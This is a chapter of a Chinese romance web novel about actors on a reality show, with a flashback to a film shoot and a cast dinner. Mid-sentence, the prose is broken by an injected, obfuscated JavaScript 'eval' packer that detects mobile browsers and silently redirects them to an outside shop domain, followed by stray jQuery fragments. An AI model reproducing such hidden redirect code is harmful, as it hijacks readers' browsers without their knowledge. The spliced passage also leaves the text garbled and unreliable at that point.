上了飞机后,总算安静了下来。
徐知和唐婉寒暄了两句,便打开一本书开始看。
飞机运行平稳,大家忍不住困意,大多都睡去了。
周棠之坐在徐知旁边,有些好奇地问道:“你也喜欢看书吗?”
徐知抬眼看他,目光不似在镜头前的那般魅惑,反而沉沉的,像是冬日的细雪。
周棠之被盯得一下子有些不自然,别开视线,“我就问问。”
徐知轻笑,“不算喜欢吧。”
周棠之点点头不再说话,戴上耳机点开平板的作曲软件。
印象中,上次和周棠之见面是在一年前的时装秀现场,那时候他主动找自己搭话并关注了她的微博,后来她的微博一夜之间多出几十万新粉,评论区沸腾得像开了闸。
让她以为他带着分寸地接近。
可如今,明明还是那张纯情的脸,神情也维持着一贯的镇定,偏偏粉色的耳尖先泄了底。
这让她想起来一个人,陈深。
裴近也像变了个人一般,全程都没说几句话。
适才在机场里很多粉丝对他打招呼,他都只是浅浅一笑,不是很符合他的甜弟人设,刘导有些愁眉苦脸。制作组心照不宣,只能安慰自己安静的裴近也很吸引人。
身为电影界新贵的他,能来参加综艺常驻就已经很不错了,一开始还怕他会直接拒绝,谁知道第二天就愉快地签了合同。
这又赶上徐知回国,真是天助他们节目组,这么热门的两个人一年未见,会擦出什么样的火花呢?刘导重振信心,搓搓手有些激动。
众人坐着导演组安排的车到了民宿。
五个人有十个行李箱,周棠之率先下车,闷不做声绕到后备箱搬运行李。
民宿的主楼是两层的,线条简洁,外墙是浅米色,中央有个长方形的游泳池。一楼的落地窗把客厅和泳池连在一起,有三间房,楼梯沿墙而上,二楼更安静,走廊尽头是两个带阳台的房间。
“哇!这个地方好好啊!”
“我们可以在这里游泳了!”郑子绮兴奋道。
“姐姐们先休息一下。”
徐知引大姐二姐进屋,就出来帮忙。
“我来吧。”
裴近也走了出来,越过徐知,从后备箱里提下来一个箱子。
唐婉和郑子绮也没闲着,放下包就出来接应。
裴近把墨镜摘了挂在衣领上,正头脑放空着运行李,发现有一个粉色的箱子,手停顿了一下。
他轻轻地把箱子放到客厅。
客厅里,徐知:“那大家先收拾一下,今天第一天不做任务,一会儿吃晚饭。”
“辛苦啦导游!”
“好嘞!”
裴近推着箱子,走过来:“你的房间在……”
“二楼,我自己来吧。”
“要不我住......”
裴近还握着她的箱子把手没松开,徐知扶着箱身把它拿了回来,正要转身上楼。
“知知姐。”
徐知的身体慢了一刻,行李箱的轮子摩擦木质地面发出吱吱的声音。
有那么一瞬间,她转过身,以为面前的人会是如春水般柔和的他。
他露出了最擅长最常见的表情,如果此刻有弹幕的话,他的粉丝会飘过无数条“兔咪”“甜弟”。
他的嘴角依旧莞尔,让其他人看不出一丝破绽。
住在一楼的唐婉和郑子绮听到裴近的声音,开箱子的手顿了一下,互相对视了一眼,又装作什么都没听到。周棠之还在帮着移动着其他箱子,恍若未闻。
徐知松开箱子,走到他身前,轻轻碰了碰他的头发,微微一笑:“我可以的。”
裴近的睫毛垂下,从喉咙里轻轻呵出一声笑。
说完她便搬着箱子自己上了二楼。
裴近:……
这让他回想起,《十八岁的夏天》剧组的最后一个月。那时候的她,也是这样兀自搬着重物,不让他掺合一手。
……
《十八岁的夏天》片场。
“裴近,现在我们角色换一下,我给你当助理。”
裴近整理好桌子上的剧本,不解地抬眼看她。
“你要是想当我助理也行,”徐知挠了挠头,好像当自己助理有多珍贵一样,“但是,我也要当你助理,演员人人平等嘛,你也要有助理。”
“其实不用……”
“打住,我是在通知你。”
徐知后期戏份较少,把裴近伺候得无微不至,当有其他工作人员来向裴近寻求帮助时,她也代为处理。
剧组的人都古怪地看着徐知给裴近擦汗,递水递剧本,在片场跑来跑去。
她的想法很简单,在这仅剩的一个月里,让他没有那么累。
有不喜欢徐知的人说:“她搞什么鬼?”
“天呢,他俩不会在一起了吧?”
原来裴近之前这么累啊……徐知替录音老师还完麦之后,又跑到器材室拿下一场的道具去了。一来二回,裴近经常看不见她的踪影。
林雨欣收工后走过来,热情地邀请:“徐知,我们下班一起聚餐好不好?小冉来之后还没跟我们吃过饭呢。”
“啊……好啊。”徐知点点头。
饭店包厢里,气氛热闹非常。
制片老师和林雨欣说了一堆车轱辘话,才轮到小冉发言。
“距离杀青也就一个月了,还是很幸运能够遇见大家......非常感谢大家的照顾,希望我们相处愉快!”王小冉举杯说道,一饮而尽。
“好!”朴俊高声捧场。
徐知正要喝下递来的酒,就被朴俊用手拦下了,“不用勉强,”他又转头对王小冉说:“她酒量不好。”
徐知感谢地对他笑了笑,小小地嘬了一口。
“这样是可以的。”
朴俊失笑,放下手。
电话响起,徐知放下酒杯,按下接听。
“知知姐,你在哪呢?”
听到熟悉的声音,她忍不住笑了。
朴俊收起笑,深深地看了她一眼,神色不明。
“我在聚餐。”徐知捂着嘴小声说。
“地址发我,我去接你。”
没等徐知说完,他便挂断了。
徐知看着手机有些发懵,裴近从不挂自己电话的。
“是裴近吧?”林雨欣冷不丁地问,笑着看过来。
“是。”
“你和裴近以前就认识吗?”
见徐知摇了摇头,林雨欣意味深长地笑了笑。
“不过裴近真的是一个好苗子,要不是他签了三石,我真想把他签过来。”制片老师一脸惋惜。
“话说他合约是几年的?你知道吗徐知?”
“......我不知道。”徐知还是谨慎地没有透露他人的信息。
“唉,如果签五年的话,那五年后他也才26岁,啧啧,年轻真好啊。”另一个人感叹。
十分钟后,裴近出现在包厢门口,身着黑色西服,像是量身定制的,肩线收得干净利落,腰身贴合却不紧绷,连袖口露出的那一点性感的手臂都恰到好处。
有几个倒吸了口冷气。
制片老师微微叹了口气。
他扫视了一眼,看到林雨欣时,她心里突突直跳,挽了下耳边的头发。
他先对徐知挥手,又向众人打了招呼。
裴近走过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513501|203112||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来提起徐知的包,“大家慢慢吃,我和徐知先回去了,有点事。”
“有什么事吗?”徐知坐在副驾驶,有些小心地斜眼用余光看他。
车内昏暗,裴近的脸上看不清神色。
“没事,下次有饭局叫我。”
沉默了几秒,徐知又说:“你不用担心,刚才朴俊帮我挡酒了,他人挺好的。”
“哦?”
徐知斟酌着说:“其实,你现在是演员的话,助理的工作你就少做一点,我能照顾好自己,你甚至都没有一个助理呢。”
片刻沉默后,裴近说起工作。
“我下午去了趟公司拿了点材料,胡总说下周六晚上一起去个饭局。”
察觉到徐知的沉默,裴近笑道:“不用担心,这次是张导,他人很好说话,是个难得不喝酒的好导演。”
“张导?”
是那个张岳明导演吗?那个去年拿下戛纳电影节最佳影片的张导吗?
“是那个张导。”
徐知突然开始提前紧张了起来,“唔。”
怎么会见她?不对,应该是为了裴近而来的?
“不用紧张,”这是在说见张导不用紧张,裴近顿了一下,面色如常,“明天也不用紧张。”
怎么可能不紧张。
这天晚上,徐知躺在床上翻着剧本,心越跳越快,快得让她有些无法入眠。一闭上眼,就是裴近的眼睛、鼻子、嘴巴……
明天有好几场罗欣欣和袁立的亲密戏……因为公寓的场地只租了两天,要拍摄完几乎所有罗欣欣和她老公婚后的日常。
简直就是……让人发狂。
啊!!!!!
徐知心里尖叫。
该怎么做?
也正是这种情况下,她竟然描摹出了他嘴唇的形状,饱满的嘟嘟的,笑起来像兔子。
如果他出道的话,粉丝们应该会给他取外号叫兔子吧。
裴兔子,徐知想着想着便笑出了声,随即心底又被莫名的失落感取代。
裴兔子会不会离自己越来越远呢。
罗欣欣和袁立的家很温馨,屋子不大,却被收拾得很有秩序。客厅和餐区连在一起,墙面是浅色,有几幅小画和合照错落挂着。
先是做饭环腰抱着。
厨房传来汤的咕嘟声,香气混着米饭的热气悄悄溢出来。
裴近站在她身后停了半秒,才慢慢贴近,手臂从后面绕过她的腰,把人不松不紧地圈住。
徐知手中的锅铲停了片刻,又说着台词。
他下巴轻轻搁在她肩窝,罗欣欣用手肘轻轻撞了撞他,像是提醒他别闹。袁立却抱得更稳一点,指尖隔着围裙在她腹前收紧。
“过!”
再是躺在腿上看电视。
徐知的心跳都没慢下来过,因为罗欣欣不那么喜欢相亲认识的袁立,两人只是相敬如宾,而袁立喜欢她。
所以裴近抱着她的时候,和平常的安慰不同,而是“勾引”。
袁立轻轻绕着罗欣欣额前的刘海,头发碰到脸颊痒痒的。
徐知只能庆幸角色不会佩戴能感应心跳的智能手表。
“你们知道杀猪盘是什么意思吗?”
午饭休息时间,吃盒饭的三三两两的人凑在一起聊八卦,刘音提着小板凳凑了过来。
室内昏黄的灯光下,林雨欣被围在中间,压低声音神秘地说,眼睛睨向某一处,如同下诅咒的魔女。
“TA会清楚地了解你的喜好,契合你的各种幻想,装出一副完美恋人的模样,再把你一口口吃掉,如果你哪一天没有利用价值了,随处就丢了。”
“可是你身在局中的时候,你会以为这是老天爷送给你的礼物。”